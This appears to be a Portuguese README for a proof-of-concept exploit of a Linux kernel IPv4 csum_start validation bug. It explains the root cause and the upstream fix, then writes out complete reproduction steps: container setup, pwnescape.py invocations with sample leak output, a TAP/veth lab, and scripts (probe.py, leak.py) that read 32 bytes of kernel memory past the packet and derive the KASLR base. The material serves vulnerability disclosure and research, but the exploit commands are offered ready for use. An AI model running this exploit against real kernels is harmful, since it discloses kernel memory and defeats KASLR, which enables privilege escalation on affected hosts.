Reprodução e análise da falha de validação csum_start do IPv4 no Linux (CVE-2026-99999): reescrita de cabeçalho, divulgação de heap de 32 bytes, oráculo de vazamento e derrota do KASLR.
English · 简体中文
Reprodução do bug de validação de csum_start do IPv4 do Linux corrigido por
6785011f8b16 ("ipv4: validate checksum_start before completing checksum").
Dado execução de código dentro de uma VM convidada, um processo sem privilégios numa
TAP preparada reescreve um cabeçalho que o kernel já analisou e, em seguida, lê 32 bytes além
dos dados lineares do pacote.
| Pré-condição | execução de código dentro da VM convidada — não remoto, não pré-autenticação |
| Reproduzido em | 6.18.54.1-microsoft-standard-WSL2 |
| Kernels afetados | todas as versões abaixo da correção do respetivo ramo — KERNELS.md |
| Corrigido em | 6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11 |
| CVSS 3.1 | 9.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Correção upstream | 6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin) |
| Reportado por | Paulos Yibelo (pwn.ai) |
| Pré-compilado | v1.0.0 static binaries |
$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
frag 0: first=0x4f ihl=60B tot_len=196
options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options
O primeiro byte é 0x4f em vez de 0x45 — versão 4, comprimento do cabeçalho de 15 palavras em vez de 5. Os oito bytes a5 são o marcador que este reprodutor gravou no fragmento; tudo depois deles não faz parte do pacote. a9 cb 43 9e 88 ff ff é lido como 0xffff889e43cba9, um endereço de mapa direto do kernel.
skb_checksum_help() transforma metadados de checksum em uma escrita:
write address = skb->head + csum_start + csum_offset
Nada antes da correção verificava que csum_start fica depois do cabeçalho IPv4.
A verificação de admissão compara o deslocamento do transporte com um comprimento
mínimo de cabeçalho medido a partir do skb->data atual — uma coordenada relativa ao frame:
/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len) /* 20 bytes */
return -EINVAL;
Para um frame de [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22
faz com que skb_transport_offset() == 22 >= 20, então os metadados são aceitos, enquanto
a distância real a partir do cabeçalho de rede é 0. As duas tags VLAN são
removidas no caminho de recepção, então a coordenada relativa ao frame sobrevive até a L3
e a escrita adiada recai sobre version/ihl.
A ordenação é a outra metade. ip_do_fragment() concluiu o checksum pendente
antes de ler iph->ihl:
/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
goto fail;
iph = ip_hdr(skb);
...
hlen = iph->ihl * 4; /* now 60, not 20 */
O cabeçalho foi validado como 20 bytes; o consumidor lê 15 palavras da mesma
memória. skb_checksum_help() não é o culpado — os metadados foram autorizados a
descrever um pacote diferente daquele que existe.
A correção adiciona um limite relativo à rede e o invoca antes de cada ponto de conclusão:
static inline int ip_check_csum_start(const struct sk_buff *skb)
{
if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
return -EINVAL;
return 0;
}
Com C = csum_start, N = network_header, H = ip_hdrlen e O >= 0,
exigir C >= N + H significa que a escrita C + O não pode mais alcançar o cabeçalho.
Contêiner privilegiado em um kernel vulnerável (o kernel é o que importa):
docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh
# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify
# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
Em um host de teste bare-metal ou VM: sudo sh lab/setup.sh, depois execute os mesmos
comandos como root nesse network namespace. Requer /dev/net/tun,
nf_conntrack, nf_defrag_ipv4, ip e nft.
lab/setup.sh cria um TAP para injeção e um par veth para egress:
inject forward + defrag egress
userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
(virtio_net_hdr, | conntrack defrag MTU 200
csum_start=22) | nft prerouting -450 │
└── two fragments reassembled ────────────────┤
into a 28-byte linear head ▼
pwnv1
(capture)
A regra ct do nft registra nf_defrag_ipv4, portanto os dois fragmentos são remontados antes que o caminho de encaminhamento os fragmente novamente. Qualquer coisa que retorne por pwnv1 é descartada. lab/teardown.sh remove tudo isso.
O fragmento de offset 0 carrega 8 bytes, então, após a remontagem, a cabeça linear lógica é 20 + 8 = 28 bytes, enquanto o fragmentador copia ihl * 4 = 60:
[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
└─ copied into the fragments' IPv4 options
overrun = 60 - (20 + head), então --head 40 é o caso de controle (nenhum byte cruza
o limite) e --head 8 produz a divulgação de 32 bytes.
No caminho do slab, a cauda é zerada por CONFIG_INIT_ON_ALLOC_DEFAULT_ON e o
vazamento é lido como 00. --page move o cabeçalho do skb para um page_frag reciclado,
onde a cauda ainda contém o que a página continha antes.
python3 exp/probe.py --passive # version verdict, no packets
python3 exp/probe.py --active # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24 # repeatable 32-byte disclosure + physmap KASLR base
probe.py compara um datagrama de controle com metadados de checksum bem formados com um cujo csum_start fica no cabeçalho IPv4: cabeçalho reescrito → vulnerável, teste descartado pela guarda → corrigido, nada capturado → problema de laboratório. leak.py repete a leitura excessiva, extrai ponteiros canônicos do kernel e deriva a base KASLR do physmap.